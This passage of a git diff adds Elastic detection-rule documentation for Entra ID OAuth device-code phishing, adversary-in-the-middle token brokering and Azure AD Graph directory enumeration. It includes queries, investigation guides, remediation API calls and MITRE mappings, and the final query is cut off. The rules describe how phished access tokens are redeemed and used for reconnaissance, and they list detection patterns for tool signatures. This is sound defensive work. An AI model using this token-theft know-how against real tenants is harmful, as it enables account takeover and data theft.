+- Enforce a password reset for the affected user accounts to ensure that any credentials potentially compromised during the attack are no longer valid. +- Implement additional Conditional Access policies that require device compliance checks and restrict access to trusted locations or devices only, to mitigate the risk of future PRT abuse. +- Conduct a thorough review of the affected accounts' recent activity logs to identify any unauthorized actions or data access that may have occurred during the compromise. +- Escalate the incident to the security operations team for further investigation and to determine if there are any broader implications or additional compromised accounts. +- Enhance monitoring by configuring alerts for unusual sign-in patterns or device code authentication attempts from unexpected locations or devices, to improve early detection of similar threats. +- Coordinate with the incident response team to perform a post-incident analysis and update the incident response plan with lessons learned from this event. + +==== Setup + + +This rule optionally requires Azure Sign-In logs from the Azure integration. Ensure that the Azure integration is correctly set up and that the required data is being collected. + + +==== Rule query + + +[source, js] +---------------------------------- + data_stream.dataset:(azure.activitylogs or azure.signinlogs) + and azure.signinlogs.properties.authentication_protocol:deviceCode + and azure.signinlogs.properties.conditional_access_audiences.application_id:29d9ed98-a469-4536-ade2-f981bc1d605e + and event.outcome:success or ( + azure.activitylogs.properties.appId:29d9ed98-a469-4536-ade2-f981bc1d605e + and azure.activitylogs.properties.authentication_protocol:deviceCode) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-device-code-grant-by-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-device-code-grant-by-unusual-user.asciidoc new file mode 100644 index 0000000000..0d959aab80 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-device-code-grant-by-unusual-user.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-34-entra-id-oauth-device-code-grant-by-unusual-user]] +=== Entra ID OAuth Device Code Grant by Unusual User + +Identifies when a user is observed for the first time authenticating using the device code authentication workflow. This authentication workflow can be abused by attackers to phish users and steal access tokens to impersonate the victim. By its very nature, device code should only be used when logging in to devices without keyboards, where it is difficult to enter emails and passwords. This rule only applies to Entra ID user types and detects new users leveraging this flow. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://aadinternals.com/post/phishing/ +* https://www.blackhillsinfosec.com/dynamic-device-code-phishing/ +* https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/ +* https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-authentication-flows +* https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Device Code Phishing +* Rule Type: New Terms +* Platform: Entra ID +* Platform: Azure +* Data Source: Azure Activity Logs + +*Version*: 11 + +*Rule authors*: + +* Elastic +* Matteo Potito Giorgio + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth Device Code Grant by Unusual User* + + +This rule detects the first instance of a user authenticating via the DeviceCode authentication protocol within the historical window. The DeviceCode authentication workflow is designed for devices that lack keyboards, such as IoT devices and smart TVs. However, adversaries can abuse this mechanism by phishing users and stealing authentication tokens, leading to unauthorized access. + + +*Possible investigation steps* + + +- Review `azure.signinlogs.properties.user_principal_name` and `azure.signinlogs.properties.user_id` to identify the user involved. +- Confirm that `azure.signinlogs.properties.authentication_protocol` is set to `deviceCode`. +- Verify the application through `azure.signinlogs.properties.app_display_name` and `azure.signinlogs.properties.app_id` to determine if it is expected. +- Check `source.ip` and compare it with previous authentication logs to determine whether the login originated from a trusted location. +- Analyze `source.geo.city_name`, `source.geo.region_name`, and `source.geo.country_name` to confirm whether the login location is suspicious. +- Review `source.as.organization.name` to check if the IP is associated with a known organization or cloud provider. +- Review `azure.signinlogs.properties.applied_conditional_access_policies` and `azure.signinlogs.properties.conditional_access_status` to determine if MFA or conditional access policies were enforced or bypassed. +- Look at `azure.signinlogs.properties.authentication_details` to confirm how authentication was satisfied. +- Review `azure.signinlogs.properties.device_detail.browser` and `user_agent.original` to determine if the login aligns with expected device behavior. +- Verify `azure.signinlogs.properties.client_app_used` to confirm whether the login was performed using a known client. +- Check if the user recently reported phishing attempts or suspicious emails. +- Look for recent changes in the user’s account settings, including password resets, role changes, or delegation of access. +- Review if other users in the environment have triggered similar DeviceCode authentication events within the same timeframe. + + +*False positive analysis* + + +- If the user is setting up a new device (e.g., a smart TV or kiosk), this authentication may be expected. +- Some legitimate applications or scripts may leverage the DeviceCode authentication protocol for non-interactive logins. +- In cases where shared workstations or conference room devices are in use, legitimate users may trigger alerts. +- If the user is traveling or accessing from a new location, confirm legitimacy before taking action. + + +*Response and remediation* + + +- Immediately revoke any access tokens associated with this authentication event. +- Review additional authentication logs, application access, and recent permission changes for signs of compromise. +- Reset the affected user’s credentials and enforce stricter MFA policies for sensitive accounts. +- Restrict DeviceCode authentication to only required applications. +- Enable additional logging and anomaly detection for DeviceCode logins. +- If phishing is suspected, notify the affected user and provide security awareness training on how to recognize and report phishing attempts. +- Limit DeviceCode authentication to approved users and applications via conditional access policies. + + +==== Setup + + + +*Required Microsoft Entra ID Sign-In Logs* + +This rule requires the Azure integration with Microsoft Entra ID Sign-In logs to be enabled and configured to collect audit and activity logs via Azure Event Hub. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:(azure.activitylogs or azure.signinlogs) + and ( + azure.signinlogs.properties.authentication_protocol:deviceCode or + azure.signinlogs.properties.original_transfer_method:deviceCodeFlow or + azure.activitylogs.properties.authentication_protocol:deviceCode + ) + and event.outcome:success + and azure.signinlogs.properties.user_type:* + and not azure.signinlogs.properties.app_id:( + "29d9ed98-a469-4536-ade2-f981bc1d605e" or + "d5a56ea4-7369-46b8-a538-c370805301bf" or + "80faf920-1908-4b52-b5ef-a8e7bedfc67a" or + "97877f11-0fc6-4aee-b1ff-febb0519dd00" or + "245e1dee-74ef-4257-a8c8-8208296e1dfd" or + "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223" or + "74bcdadc-2fdc-4bb3-8459-76d06952a0e9" or + "4813382a-8fa7-425e-ab75-3b753aab3abb" or + "a850aaae-d5a5-4e82-877c-ce54ff916282" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-device-code-phishing-via-aitm.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-device-code-phishing-via-aitm.asciidoc new file mode 100644 index 0000000000..6b65f7601a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-device-code-phishing-via-aitm.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-34-entra-id-oauth-device-code-phishing-via-aitm]] +=== Entra ID OAuth Device Code Phishing via AiTM + +Detects successful Microsoft Entra ID sign-ins that use the OAuth device code authentication protocol with the Microsoft Authentication Broker client requesting first-party Office API resources (Exchange Online, Microsoft Graph, or SharePoint) while flagged as interactive. This pattern is associated with adversary-in-the-middle (AiTM) phishing kits such as Tycoon 2FA, where victims complete device code flows that ultimately broker tokens for mail and collaboration APIs. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.signinlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://any.run/malware-trends/tycoon/ +* https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-authentication-flows +* https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Threat Detection +* Threat: Tycoon2FA +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Device Code Phishing +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth Device Code Phishing via AiTM* + + +Review `azure.signinlogs.properties.user_principal_name`, `azure.signinlogs.properties.session_id`, `source.ip`, +`user_agent.original`, and `azure.signinlogs.properties.resource_display_name` for context around the device code +completion. + +Confirm whether the user knowingly entered a device code (for example on a shared or headless device) and whether +broker-mediated access to Exchange, Graph, or Yammer is expected for that account. + + +*Possible investigation steps* + + +- Interview the user about recent links, QR codes, or prompts to approve a device code. +- Correlate with `azure.signinlogs` and Microsoft 365 audit logs for mailbox, Teams, or file access from the same + session or IP shortly after the event. +- Review conditional access and MFA satisfaction details for the same `session_id`. + + +*Response and remediation* + + +- If malicious, revoke refresh tokens for the user, reset credentials per policy, and review application consent. +- Block or monitor the source IP and escalate per incident procedures. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"azure.signinlogs" and event.category:"authentication" and event.action:"Sign-in activity" and +event.outcome:success and azure.signinlogs.properties.app_id:"29d9ed98-a469-4536-ade2-f981bc1d605e" and +azure.signinlogs.properties.authentication_protocol:deviceCode and +azure.signinlogs.properties.resource_id:( + "00000002-0000-0ff1-ce00-000000000000" or + "00000003-0000-0ff1-ce00-000000000000" or + "00000003-0000-0000-c000-000000000000" +) and azure.signinlogs.properties.is_interactive:true + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-device-code-sign-in-to-azure-ad-graph-enumeration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-device-code-sign-in-to-azure-ad-graph-enumeration.asciidoc new file mode 100644 index 0000000000..4ab6f8cabe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-device-code-sign-in-to-azure-ad-graph-enumeration.asciidoc @@ -0,0 +1,208 @@ +[[prebuilt-rule-8-19-34-entra-id-oauth-device-code-sign-in-to-azure-ad-graph-enumeration]] +=== Entra ID OAuth Device Code Sign-in to Azure AD Graph Enumeration + +Correlates a successful Entra ID device-code sign-in to the legacy Azure AD Graph audience (00000002-0000-0000-c000-000000000000) from an unmanaged device with directory enumeration against graph.windows.net by the same user within a short window. Device-code phishing is the dominant OAuth phishing variant against Microsoft tenants: the adversary initiates the flow, relays the user-facing code to the victim, and on redemption walks away with an access or refresh token bound to the targeted resource without ever handling the user's password or MFA factor. When the redeemed audience is AAD Graph and the redeeming device is unmanaged, the follow-on Graph traffic is the compromised cloud account being used by the attacker, not by the user. This rule fires when that token is immediately turned around against the directory under the same identity to read user, group, service principal, application, role assignment, directory object, policy, OAuth permission grant, or tenant detail collections. + +*Rule type*: eql + +*Rule indices*: + +* logs-azure.signinlogs-* +* logs-azure.aadgraphactivitylogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/dirkjanm/ROADtools +* https://github.com/Gerenios/AADInternals +* https://learn.microsoft.com/en-us/graph/migrate-azure-ad-graph-overview + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Data Source: Azure AD Graph +* Data Source: Azure AD Graph Activity Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Initial Access +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Device Code Phishing +* Rule Type: Event Correlation (EQL) +* Platform: Entra ID +* Platform: Azure + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth Device Code Sign-in to Azure AD Graph Enumeration* + + +Device-code phishing redeems an OAuth access token directly into the adversary's hands without +ever touching the victim's password or MFA factor. When the redemption targets the legacy AAD +Graph audience from an unmanaged device, the resulting token is overwhelmingly used to drive +directory recon under the compromised identity. ROADrecon / ROADtools, AADInternals +(`Get-AADIntTenantDetails`, `Get-AADIntUsers`), and manual `roadtx` flows all match this shape. + + +*Possible investigation steps* + + +- Confirm the sign-in shape. + - `azure.signinlogs.properties.authentication_protocol` is `deviceCode`. + - `azure.signinlogs.properties.resource_id` is `00000002-0000-0000-c000-000000000000` (legacy AAD Graph audience). + - `azure.signinlogs.properties.device_detail.is_managed` is `false`. +- Identify the calling client used to drive the device-code grant. + - `azure.signinlogs.properties.app_id`, `azure.signinlogs.properties.app_display_name`. + - FOCI / pre-consented Microsoft clients (Teams, Office, Azure CLI, Azure PowerShell) are the canonical ride-along clients for device-code phishing because they bypass app consent. +- Review source posture for the redemption and the Graph follow-on independently. + - `source.ip`, `source.as.organization.name`, `source.geo.country_name`. Residential / VPS / anonymising-network egress raises priority. + - A code redeemed from one IP and Graph driven from another is a strong adversary-in-the-middle signal: the user clicked, the attacker is now driving the session. +- Review what was queried on the Graph side. + - `url.path` on the second event. `applicationRefs`, `eligibleRoleAssignments`, and `directoryObjects` casts (`$/Microsoft.DirectoryServices.ServicePrincipal`) are the textbook ROADrecon signature; `tenantDetails` from an `AADInternals` user-agent is the AADInternals signature. +- Check the API version on the Graph call. + - `azure.aadgraphactivitylogs.properties.api_version`. `1.61-internal` is a strong tooling indicator and returns data the public surface withholds (Conditional Access policies, MFA configuration on user objects). +- Pivot to surrounding sign-ins for the same user. Other device-code redemptions to Microsoft Graph, Azure Resource Manager, or Exchange in the same window suggest the attacker is multi-homing the token harvest. +- Confirm the activity is not attributable to authorized testing before treating as malicious. + + +*Response and remediation* + + +- Revoke refresh tokens and active sessions for the compromised user. + - `POST /v1.0/users/{id}/revokeSignInSessions`. +- Temporarily disable the user if the alert is high-confidence or you need to halt further activity while investigation continues. + - `PATCH /v1.0/users/{id}` with body `{"accountEnabled": false}`. +- Check for device registrations created by the user during or around the burst window and remove rogue devices. + - `GET /v1.0/users/{id}/registeredDevices` and `GET /v1.0/users/{id}/ownedDevices`, then `DELETE /v1.0/devices/{deviceObjectId}`. + - Do this BEFORE session revocation: device-bound PRTs survive `revokeSignInSessions`. +- If the calling application has no legitimate AAD Graph dependency, block further use by that app. + - `PATCH /beta/applications/{id}` with body `{"authenticationBehaviors": {"blockAzureADGraphAccess": true}}`. + - This property lives on the Graph beta endpoint, not v1.0. +- Apply Conditional Access targeting the device-code grant: require a managed / compliant device or block the device-code grant outside of explicitly approved app + user populations. + + +==== Setup + + + +*Microsoft Entra ID Sign-in Logs and Azure AD Graph Activity Logs* + +Requires both data streams ingested via the Elastic Azure integration: +- Microsoft Entra ID sign-in logs into `logs-azure.signinlogs-*` (enable the `SignInLogs` diagnostic-settings category on Entra ID). +- Azure AD Graph Activity Logs into `logs-azure.aadgraphactivitylogs-*` (enable the `AzureADGraphActivityLogs` diagnostic-settings category on Entra ID). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by user.id, azure.tenant_id with maxspan=5m +[authentication where + data_stream.dataset == "azure.signinlogs" and + event.outcome == "success" and + azure.signinlogs.properties.authentication_protocol == "deviceCode" and + azure.signinlogs.properties.device_detail.is_managed == false and + azure.signinlogs.properties.resource_id == "00000002-0000-0000-c000-000000000000"] +[web where + data_stream.dataset == "azure.aadgraphactivitylogs" and + url.path : ( + "*/users*", + "*/groups*", + "*/servicePrincipals*", + "*/applications*", + "*/applicationRefs*", + "*/devices*", + "*/directoryRoles*", + "*/roleAssignments*", + "*/eligibleRoleAssignments*", + "*/roleDefinitions*", + "*/directoryObjects*", + "*/policies*", + "*/oauth2PermissionGrants*", + "*/administrativeUnits*", + "*/tenantDetails*", + "*/directorySettingTemplates*", + "*/me*" + )] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-flow-by-microsoft-authentication-broker-to-device-registration-service-drs.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-flow-by-microsoft-authentication-broker-to-device-registration-service-drs.asciidoc new file mode 100644 index 0000000000..13ed9ca726 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-flow-by-microsoft-authentication-broker-to-device-registration-service-drs.asciidoc @@ -0,0 +1,261 @@ +[[prebuilt-rule-8-19-34-entra-id-oauth-flow-by-microsoft-authentication-broker-to-device-registration-service-drs]] +=== Entra ID OAuth Flow by Microsoft Authentication Broker to Device Registration Service (DRS) + +Identifies separate OAuth authorization flows in Microsoft Entra ID where the same user principal and session ID are observed across multiple IP addresses within a 5-minute window. These flows involve the Microsoft Authentication Broker (MAB) as the client application and the Device Registration Service (DRS) as the target resource. This pattern is highly indicative of OAuth phishing activity, where an adversary crafts a legitimate Microsoft login URL to trick a user into completing authentication and sharing the resulting authorization code, which is then exchanged for an access and refresh token by the attacker. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 60m + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Initial Access +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Device Code Phishing +* Rule Type: ES|QL +* Platform: Entra ID + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth Flow by Microsoft Authentication Broker to Device Registration Service (DRS)* + + +This rule identifies potential OAuth phishing behavior in Microsoft Entra ID where two OAuth authorization flows are observed in quick succession, sharing the same user principal and session ID but originating from different IP addresses. The client application is the Microsoft Authentication Broker, and the target resource is the Device Registration Service (DRS). This pattern is indicative of adversaries attempting to phish targets for OAuth sessions by tricking users into authenticating through a crafted URL, which then allows the attacker to obtain an authorization code and exchange it for access and refresh tokens. + + +*Possible Investigation Steps:* + + +- `target`: The user principal name targeted by the authentication broker. Investigate whether this user has recently registered a device, signed in from new IPs, or had password resets or MFA changes. +- `session_id`: Used to correlate all events in the OAuth flow. All sign-ins in the alert share the same session, suggesting shared or hijacked state. +- `unique_token_id`: Lists tokens generated in the flow. If multiple IDs exist in the same session, this indicates token issuance from different locations. +- `source_ip`, `city_name`, `country_name`, `region_name`: Review the IPs and geolocations involved. A mismatch in geographic origin within minutes can signal adversary involvement. +- `user_agent`: Conflicting user agents (e.g., `python-requests` and `Chrome`) suggest one leg of the session was scripted or automated. +- `os`: If multiple operating systems are observed in the same short session (e.g., macOS and Windows), this may suggest activity from different environments. +- `incoming_token_type`: Look for values like `"none"` or `"refreshToken"` that can indicate abnormal or re-authenticated activity. +- `token_session_status`: A value of `"unbound"` means the issued token is not tied to a device or CAE session, making it reusable from another IP. +- `conditional_access_status`: If this is `"notApplied"`, it may indicate that expected access policies were not enforced. +- `auth_count`: Number of events in the session. More than one indicates the session was reused within the time window. +- `target_time_window`: Use this to pivot into raw sign-in logs to review the exact sequence and timing of the activity. +- Search `azure.auditlogs` for any device join or registration activity around the `target_time_window`. +- Review `azure.identityprotection` logs for anonymized IPs, impossible travel, or token replay alerts. +- Search for other activity from the same IPs across all users to identify horizontal movement. + + +*False Positive Analysis* + + +- A legitimate device join from a user switching networks (e.g., mobile hotspot to Wi-Fi) could explain multi-IP usage. +- Some identity management agents or EDR tools may use MAB for background device registration flows. +- Developers or IT administrators may access DRS across environments when testing. + + +*Response and Remediation* + + +- If confirmed unauthorized, revoke all refresh tokens for the user and disable any suspicious registered devices. +- Notify the user and verify if the authentication or device join was expected. +- Review Conditional Access policies for the Microsoft Authentication Broker (`29d9ed98-a469-4536-ade2-f981bc1d605e`) to ensure enforcement of MFA and device trust. +- Consider restricting token-based reauthentication from anonymized infrastructure or unusual user agents. +- Continue monitoring for follow-on activity, such as privilege escalation, token misuse, or lateral movement. + + +==== Setup + + + +*Required Microsoft Entra ID Sign-In Logs* + +This rule requires the Microsoft Entra ID Sign-In Logs integration be enabled and configured to collect sign-in logs. In Entra ID, sign-in logs must be enabled and streaming to the Event Hub used for the Azure integration. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-* metadata _id, _version, _index +| where + data_stream.dataset == "azure.signinlogs" and + event.outcome == "success" and + azure.signinlogs.properties.user_type == "Member" and + azure.signinlogs.identity is not null and + azure.signinlogs.properties.user_principal_name is not null and + source.address is not null and + azure.signinlogs.properties.app_id == "29d9ed98-a469-4536-ade2-f981bc1d605e" and // MAB + azure.signinlogs.properties.resource_id == "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9" // DRS + +| eval + Esql.time_window_date_trunc = date_trunc(30 minutes, @timestamp), + Esql.azure_signinlogs_properties_session_id = azure.signinlogs.properties.session_id, + Esql.is_browser_case = case( + to_lower(azure.signinlogs.properties.device_detail.browser) rlike "(chrome|firefox|edge|safari).*", 1, 0 + ) + +| stats + Esql_priv.azure_signinlogs_properties_user_display_name_values = values(azure.signinlogs.properties.user_display_name), + Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name), + Esql.azure_signinlogs_properties_session_id_values = values(azure.signinlogs.properties.session_id), + Esql.azure_signinlogs_properties_unique_token_identifier_values = values(azure.signinlogs.properties.unique_token_identifier), + + Esql.source_geo_city_name_values = values(source.geo.city_name), + Esql.source_geo_country_name_values = values(source.geo.country_name), + Esql.source_geo_region_name_values = values(source.geo.region_name), + Esql.source_address_values = values(source.address), + Esql.source_address_count_distinct = count_distinct(source.address), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + + Esql.azure_signinlogs_properties_authentication_protocol_values = values(azure.signinlogs.properties.authentication_protocol), + Esql.azure_signinlogs_properties_authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement), + Esql.azure_signinlogs_properties_is_interactive_values = values(azure.signinlogs.properties.is_interactive), + + Esql.azure_signinlogs_properties_incoming_token_type_values = values(azure.signinlogs.properties.incoming_token_type), + Esql.azure_signinlogs_properties_token_protection_status_details_sign_in_session_status_values = values(azure.signinlogs.properties.token_protection_status_details.sign_in_session_status), + Esql.azure_signinlogs_properties_session_id_count_distinct = count_distinct(azure.signinlogs.properties.session_id), + Esql.azure_signinlogs_properties_app_display_name_values = values(azure.signinlogs.properties.app_display_name), + Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id), + Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id), + Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name), + + Esql.azure_signinlogs_properties_app_owner_tenant_id_values = values(azure.signinlogs.properties.app_owner_tenant_id), + Esql.azure_signinlogs_properties_resource_owner_tenant_id_values = values(azure.signinlogs.properties.resource_owner_tenant_id), + + Esql.azure_signinlogs_properties_conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status), + Esql.azure_signinlogs_properties_risk_state_values = values(azure.signinlogs.properties.risk_state), + Esql.azure_signinlogs_properties_risk_level_aggregated_values = values(azure.signinlogs.properties.risk_level_aggregated), + + Esql.azure_signinlogs_properties_device_detail_browser_values = values(azure.signinlogs.properties.device_detail.browser), + Esql.azure_signinlogs_properties_device_detail_operating_system_values = values(azure.signinlogs.properties.device_detail.operating_system), + Esql.user_agent_original_values = values(user_agent.original), + Esql.is_browser_case_max = max(Esql.is_browser_case), + + Esql.event_count = count(*) + by + Esql.time_window_date_trunc, + azure.signinlogs.properties.user_principal_name, + azure.signinlogs.properties.session_id + +| keep + Esql.time_window_date_trunc, + Esql_priv.azure_signinlogs_properties_user_display_name_values, + Esql_priv.azure_signinlogs_properties_user_principal_name_values, + Esql.azure_signinlogs_properties_session_id_values, + Esql.azure_signinlogs_properties_unique_token_identifier_values, + Esql.source_geo_city_name_values, + Esql.source_geo_country_name_values, + Esql.source_geo_region_name_values, + Esql.source_address_values, + Esql.source_address_count_distinct, + 